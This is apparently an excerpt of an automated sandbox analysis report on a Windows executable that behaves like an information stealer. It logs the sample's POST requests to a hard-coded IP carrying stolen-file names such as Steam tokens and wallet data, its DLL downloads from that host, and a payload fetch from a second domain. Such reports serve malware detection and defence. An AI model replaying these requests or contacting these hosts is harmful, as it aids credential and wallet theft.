Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.241.61.210Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/freebl3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/mozglue.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/msvcp140.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/nss3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/softokn3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/vcruntime140.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAAHost: 185.241.61.210Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.241.61.210Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="message"wallets------IIIECAAKECFHIECBKJDH--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 185.241.61.210Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"files------KFIIJJJDGCBAAKFIIECG--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJHost: 185.241.61.210Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file"------EGCFIDAFBFBAKFHJEGIJ--
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 185.241.61.210Content-Length: 114243Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /849647684a13b905.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJHost: 185.241.61.210Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 34 30 37 64 32 65 32 31 35 34 37 61 65 39 36 31 33 66 30 31 30 62 34 39 65 38 30 39 31 33 35 37 66 36 32 65 35 31 32 33 63 34 34 63 32 38 61 30 61 32 37 30 37 33 33 39 31 36 34 65 36 32 36 38 32 30 33 62 33 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"7c407d2e21547ae9613f010b49e8091357f62e5123c44c28a0a2707339164e6268203b39------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="message"ybncbhylepme------EGCFIDAFBFBAKFHJEGIJ--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 52.168.117.173 52.168.117.173
Source: Joe Sandbox View IP Address: 20.190.160.20 20.190.160.20
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49705 -> 185.241.61.210:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49728 -> 185.98.131.200:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: POST /ppsecure/deviceaddcredential.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 7642Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: global traffic HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4775Host: login.live.com
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: unknown TCP traffic detected without corresponding DNS query: 185.241.61.210
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004060A0 InternetOpenA,StrCmpCA,InternetOpenUrlA,CreateFileA,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle, 0_2_004060A0
Source: global traffic HTTP traffic detected: GET /chrome_93.exe HTTP/1.1Host: sirault.beCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.241.61.210Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/sqlite3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/freebl3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/mozglue.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/msvcp140.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/nss3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/softokn3.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /903e65da79c0ad0a/vcruntime140.dll HTTP/1.1Host: 185.241.61.210Cache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: sirault.be
Source: unknown HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: 3WffcqLN3q.exe, 00000000.00000002.2611531631.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2610980463.00000000005CB000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.241.61.210
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FC1000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000003.2159518947.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2610980463.00000000005CB000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.php
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.php1
Source: 3WffcqLN3q.exe, 00000000.00000002.2633963881.0000000034650000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.php9a9c4a2f8b514.cdf-ms
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.php;
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.phpW
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.phpb
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.phpp
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.00000000005CB000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.241.61.210/849647684a13b905.phption:
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/9
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/freebl3.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/mozglue.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/msvcp140.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/nss3.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/softokn3.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/softokn3.dll;
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/sqlite3.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/903e65da79c0ad0a/vcruntime140.dll
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210/aC
Source: 3WffcqLN3q.exe, 00000000.00000002.2611531631.00000000009BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.241.61.210:
Source: 3WffcqLN3q.exe, 00000000.00000002.2610980463.00000000005CB000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.241.61.210EGIJ
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000B.00000002.3283613890.000001C41AA00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2582466748.000001C41A35A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283534320.000001C41A337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2548411694.000001C41A35A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000B.00000003.2553762904.000001C419A6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283804114.000001C41AA9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000000B.00000002.3283613890.000001C41AA00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283804114.000001C41AA9B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://Passport.NET/tb_
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 0000000B.00000002.3283213921.000001C419ABF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.cr%
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRo
